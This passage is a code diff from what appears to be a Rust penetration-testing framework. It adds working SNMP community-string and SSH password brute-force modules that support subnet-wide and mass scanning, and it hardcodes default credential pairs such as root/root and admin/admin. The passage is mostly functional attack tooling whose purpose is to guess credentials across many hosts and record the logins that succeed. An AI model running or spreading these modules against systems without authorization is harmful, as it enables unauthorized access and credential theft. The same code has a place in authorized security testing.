|
||||
let error_kind = e.kind();
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
if error_kind == std::io::ErrorKind::TimedOut
|
||||
|| error_kind == std::io::ErrorKind::WouldBlock
|
||||
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|
||||
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
|
||||
|| e.raw_os_error() == Some(35)
|
||||
// EAGAIN on macOS
|
||||
{
|
||||
// Timeout or would block - community string is likely invalid
|
||||
false
|
||||
@@ -270,16 +327,16 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
// Try to find the PDU (GetResponse-PDU = 0xa2)
|
||||
// The structure is: SEQUENCE (version, community, PDU)
|
||||
// We need to skip version and community to get to the PDU
|
||||
|
||||
|
||||
let mut pos = 1;
|
||||
|
||||
|
||||
// Skip length of outer SEQUENCE
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short"));
|
||||
}
|
||||
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += len_bytes;
|
||||
|
||||
|
||||
// Skip version (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid version field"));
|
||||
@@ -287,7 +344,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
pos += 1;
|
||||
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += vlen_bytes + vlen;
|
||||
|
||||
|
||||
// Skip community (OCTET STRING)
|
||||
if pos >= response.len() || response[pos] != 0x04 {
|
||||
return Err(anyhow!("Invalid community field"));
|
||||
@@ -295,23 +352,23 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
pos += 1;
|
||||
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += clen_bytes + clen;
|
||||
|
||||
|
||||
// Now we should be at the PDU
|
||||
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
|
||||
if pos >= response.len() {
|
||||
return Err(anyhow!("Response too short for PDU"));
|
||||
}
|
||||
|
||||
|
||||
let pdu_tag = response[pos];
|
||||
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
|
||||
// Not a GetResponse or GetRequest, might be an error
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
|
||||
pos += 1;
|
||||
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += pdu_len_bytes;
|
||||
|
||||
|
||||
// PDU structure: request-id, error-status, error-index, variable-bindings
|
||||
// Skip request-id (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
@@ -320,7 +377,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
pos += 1;
|
||||
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
|
||||
pos += rid_len_bytes + rid_len;
|
||||
|
||||
|
||||
// Read error-status (INTEGER)
|
||||
if pos >= response.len() || response[pos] != 0x02 {
|
||||
return Err(anyhow!("Invalid error-status field"));
|
||||
@@ -330,7 +387,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
|
||||
return Err(anyhow!("Invalid error-status length"));
|
||||
}
|
||||
|
||||
|
||||
// Read the error status value
|
||||
let error_status = if es_len == 1 {
|
||||
response[pos + es_len_bytes] as u32
|
||||
@@ -342,7 +399,7 @@ fn parse_snmp_response(response: &[u8]) -> Result<bool> {
|
||||
}
|
||||
val
|
||||
};
|
||||
|
||||
|
||||
// Error status 0 = noError, anything else is an error
|
||||
Ok(error_status == 0)
|
||||
}
|
||||
@@ -353,9 +410,9 @@ fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.is_empty() {
|
||||
return Err(anyhow!("Empty length field"));
|
||||
}
|
||||
|
||||
|
||||
let first_byte = data[0];
|
||||
|
||||
|
||||
if (first_byte & 0x80) == 0 {
|
||||
// Short form: single byte
|
||||
Ok((first_byte as usize, 1))
|
||||
@@ -371,12 +428,12 @@ fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
if data.len() < 1 + num_bytes {
|
||||
return Err(anyhow!("Not enough bytes for length field"));
|
||||
}
|
||||
|
||||
|
||||
let mut length = 0usize;
|
||||
for i in 0..num_bytes {
|
||||
length = (length << 8) | (data[1 + i] as usize);
|
||||
}
|
||||
|
||||
|
||||
Ok((length, 1 + num_bytes))
|
||||
}
|
||||
}
|
||||
@@ -385,34 +442,34 @@ fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
|
||||
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
|
||||
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
// Build components first, then assemble with proper length encoding
|
||||
|
||||
|
||||
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
|
||||
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
|
||||
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
|
||||
|
||||
|
||||
// NULL value
|
||||
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
|
||||
|
||||
|
||||
// VarBind: SEQUENCE of (OID, NULL)
|
||||
let mut var_bind = Vec::new();
|
||||
var_bind.extend_from_slice(&oid_tlv);
|
||||
var_bind.extend_from_slice(&null_tlv);
|
||||
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
|
||||
|
||||
|
||||
// VarBindList: SEQUENCE of VarBind
|
||||
let mut var_bind_list_content = Vec::new();
|
||||
var_bind_list_content.extend_from_slice(&var_bind_tlv);
|
||||
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
|
||||
|
||||
|
||||
// Request ID
|
||||
let request_id_tlv = encode_integer_tlv(1u32);
|
||||
|
||||
|
||||
// Error status (0 = noError)
|
||||
let error_status_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
|
||||
// Error index (0 = noError)
|
||||
let error_index_tlv = encode_integer_tlv(0u32);
|
||||
|
||||
|
||||
// PDU: GetRequest-PDU
|
||||
let mut pdu_content = Vec::new();
|
||||
pdu_content.extend_from_slice(&request_id_tlv);
|
||||
@@ -420,29 +477,27 @@ fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
|
||||
pdu_content.extend_from_slice(&error_index_tlv);
|
||||
pdu_content.extend_from_slice(&var_bind_list_tlv);
|
||||
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
|
||||
|
||||
|
||||
// Version
|
||||
let version_tlv = encode_integer_tlv(version as u32);
|
||||
|
||||
|
||||
// Community string
|
||||
let community_bytes = community.as_bytes();
|
||||
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
|
||||
|
||||
|
||||
// SNMP Message: SEQUENCE of (version, community, PDU)
|
||||
let mut message_content = Vec::new();
|
||||
message_content.extend_from_slice(&version_tlv);
|
||||
message_content.extend_from_slice(&community_tlv);
|
||||
message_content.extend_from_slice(&pdu_tlv);
|
||||
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
|
||||
|
||||
message
|
||||
build_tlv(0x30, &message_content) // 0x30 = SEQUENCE
|
||||
}
|
||||
|
||||
/// Builds a TLV (Type-Length-Value) structure
|
||||
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut result = Vec::new();
|
||||
result.push(tag);
|
||||
|
||||
|
||||
let length = value.len();
|
||||
if length < 128 {
|
||||
// Short form: single byte length
|
||||
@@ -453,21 +508,21 @@ fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut len = length;
|
||||
let mut num_bytes = 0;
|
||||
let mut len_bytes = Vec::new();
|
||||
|
||||
|
||||
while len > 0 {
|
||||
len_bytes.push((len & 0xFF) as u8);
|
||||
len >>= 8;
|
||||
num_bytes += 1;
|
||||
}
|
||||
|
||||
|
||||
// Reverse to get big-endian representation
|
||||
len_bytes.reverse();
|
||||
|
||||
|
||||
// First byte: 0x80 | number of length bytes
|
||||
result.push(0x80 | (num_bytes as u8));
|
||||
result.extend_from_slice(&len_bytes);
|
||||
}
|
||||
|
||||
|
||||
result.extend_from_slice(value);
|
||||
result
|
||||
}
|
||||
@@ -487,7 +542,7 @@ fn encode_integer_tlv(value: u32) -> Vec<u8> {
|
||||
val >>= 8;
|
||||
}
|
||||
bytes.reverse();
|
||||
|
||||
|
||||
// If high bit is set, prepend 0x00 to make it positive
|
||||
if bytes[0] & 0x80 != 0 {
|
||||
bytes.insert(0, 0x00);
|
||||
@@ -509,7 +564,6 @@ fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
|
||||
encoded
|
||||
}
|
||||
|
||||
|
||||
/// Encodes a sub-identifier using base-128 encoding
|
||||
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
let mut bytes = Vec::new();
|
||||
@@ -529,5 +583,73 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
output.extend_from_slice(&bytes);
|
||||
}
|
||||
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"snmp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
// SNMP uses community strings, not user/pass pairs.
|
||||
// Map: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
empty_users,
|
||||
communities,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "snmp",
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
skip_tcp_check: true, // SNMP is UDP — no TCP pre-check
|
||||
},
|
||||
move |ip: IpAddr, port: u16, _user: String, community: String| {
|
||||
let timeout = timeout;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_snmp_community(&addr, &community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
// Store with CredType::Key for SNMP semantics
|
||||
let _ = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
port,
|
||||
"snmp",
|
||||
"",
|
||||
&community,
|
||||
crate::cred_store::CredType::Key,
|
||||
"creds/generic/snmp_bruteforce",
|
||||
)
|
||||
.await;
|
||||
LoginResult::Success
|
||||
}
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: false, // UDP timeout = host not responding
|
||||
},
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
@@ -2,28 +2,29 @@ use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
net::TcpStream,
|
||||
sync::atomic::{AtomicBool, Ordering},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
io::Write,
|
||||
net::{IpAddr, TcpStream, ToSocketAddrs},
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, timeout},
|
||||
time::timeout,
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_yes_no,
|
||||
prompt_existing_file, load_lines, get_filename_in_current_dir
|
||||
normalize_target,
|
||||
load_lines, get_filename_in_current_dir,
|
||||
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_existing_file, cfg_prompt_port,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::modules::creds::utils::{
|
||||
BruteforceConfig, LoginResult, SubnetScanConfig,
|
||||
generate_combos, run_bruteforce, run_subnet_bruteforce,
|
||||
is_subnet_target, is_mass_scan_target, run_mass_scan, MassScanConfig,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
@@ -41,29 +42,117 @@ const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
];
|
||||
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
println!("[*] Target: {}", target);
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SSH Brute Force".to_string(),
|
||||
description: "Brute-force SSH authentication using username/password wordlists. Supports default credential testing, combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
|
||||
match input.parse() {
|
||||
Ok(p) if p > 0 => break p,
|
||||
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
|
||||
}
|
||||
};
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== SSH Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} — Mass Scan Mode", target).yellow());
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SSH",
|
||||
default_port: 22,
|
||||
state_file: "ssh_hose_state.log",
|
||||
default_output: "ssh_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
}, move |ip, port| {
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let tcp = match crate::utils::blocking_tcp_connect(
|
||||
&addr.parse().ok()?, std::time::Duration::from_secs(5)
|
||||
) {
|
||||
Ok(t) => t,
|
||||
Err(_) => return None,
|
||||
};
|
||||
let mut sess = ssh2::Session::new().ok()?;
|
||||
sess.set_tcp_stream(tcp);
|
||||
sess.set_timeout(10000);
|
||||
if sess.handshake().is_err() { return None; }
|
||||
// Try common defaults
|
||||
let creds = [("root","root"),("admin","admin"),("root",""),("admin",""),("root","123456"),("admin","password")];
|
||||
for (user, pass) in creds {
|
||||
if sess.userauth_password(user, pass).is_ok() {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!("[{}] {}:{}:{}:{}\n", ts, ip, port, user, pass));
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ssh_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "ssh",
|
||||
source_module: "creds/generic/ssh_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "SSH Port", DEFAULT_SSH_PORT).await?;
|
||||
|
||||
// Ask about default credentials
|
||||
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Username wordlist").await?)
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
|
||||
Some(prompt_existing_file("Password wordlist").await?)
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
@@ -72,57 +161,46 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 256 => break n,
|
||||
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
|
||||
}
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
|
||||
let connection_timeout: u64 = loop {
|
||||
let input = prompt_default("Connection timeout (seconds)", "5").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n >= 1 && n <= 60 => break n,
|
||||
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
|
||||
}
|
||||
let connection_timeout: u64 = {
|
||||
let input = cfg_prompt_default("timeout", "Connection timeout (seconds)", "5").await?;
|
||||
input.parse::<u64>().unwrap_or(5).max(1).min(60)
|
||||
};
|
||||
|
||||
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
loop {
|
||||
let input = prompt_default("Max retries per attempt", "2").await?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 && n <= 10 => break n,
|
||||
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
|
||||
}
|
||||
}
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
let save_results = prompt_yes_no("Save results to file?", true).await?;
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "ssh_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no("combo_mode", "Combination mode? (try every pass with every user)", false).await?;
|
||||
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
|
||||
|
||||
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
|
||||
|
||||
// Load wordlists
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
usernames = load_lines(file)?;
|
||||
if usernames.is_empty() {
|
||||
println!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -130,9 +208,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
println!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -146,7 +224,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
@@ -156,243 +234,79 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// Calculate total attempts
|
||||
let total_attempts = if combo_mode {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
passwords.len()
|
||||
};
|
||||
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
|
||||
println!();
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
let timeout_duration = Duration::from_secs(connection_timeout);
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let timeout_dur = timeout_duration;
|
||||
async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_ssh_login(&addr, &user, &pass, timeout_dur).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => LoginResult::Error { message: e.to_string(), retryable: true },
|
||||
}
|
||||
stats_clone.print_progress();
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let mut user_cycle_idx = 0usize;
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "ssh",
|
||||
source_module: "creds/generic/ssh_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
for pass in passwords.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let selected_users: Vec<String> = if combo_mode {
|
||||
usernames.iter().cloned().collect()
|
||||
} else {
|
||||
if usernames.is_empty() {
|
||||
Vec::new()
|
||||
} else {
|
||||
let user = usernames[user_cycle_idx % usernames.len()].clone();
|
||||
user_cycle_idx += 1;
|
||||
vec![user]
|
||||
}
|
||||
};
|
||||
|
||||
for user in selected_users {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let addr_clone = connect_addr.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let unknown_clone = Arc::clone(&unknown);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let semaphore_clone = semaphore.clone();
|
||||
let timeout_clone = timeout_duration;
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let retry_flag = retry_on_error;
|
||||
let max_retries_clone = max_retries;
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Acquire semaphore permit inside the spawned task
|
||||
let _permit = match semaphore_clone.acquire_owned().await {
|
||||
Ok(permit) => permit,
|
||||
Err(_) => return,
|
||||
};
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
let mut retries = 0;
|
||||
loop {
|
||||
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
|
||||
let mut found_guard = found_clone.lock().await;
|
||||
// Check if already found to avoid duplicates
|
||||
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
|
||||
if !found_guard.contains(&entry) {
|
||||
found_guard.push(entry);
|
||||
}
|
||||
stats_clone.record_attempt(true, false);
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
break;
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_attempt(false, false);
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
|
||||
}
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
if retry_flag && retries < max_retries_clone {
|
||||
retries += 1;
|
||||
stats_clone.record_retry();
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[!] {} -> {}:{} (retry {}/{}) - {}",
|
||||
addr_clone,
|
||||
user_clone,
|
||||
pass_clone,
|
||||
retries,
|
||||
max_retries_clone,
|
||||
msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
sleep(Duration::from_millis(500)).await;
|
||||
continue;
|
||||
} else {
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
msg.clone(),
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Wait for all tasks with FuturesUnordered
|
||||
while let Some(res) = tasks.next().await {
|
||||
if let Err(e) = res {
|
||||
if verbose {
|
||||
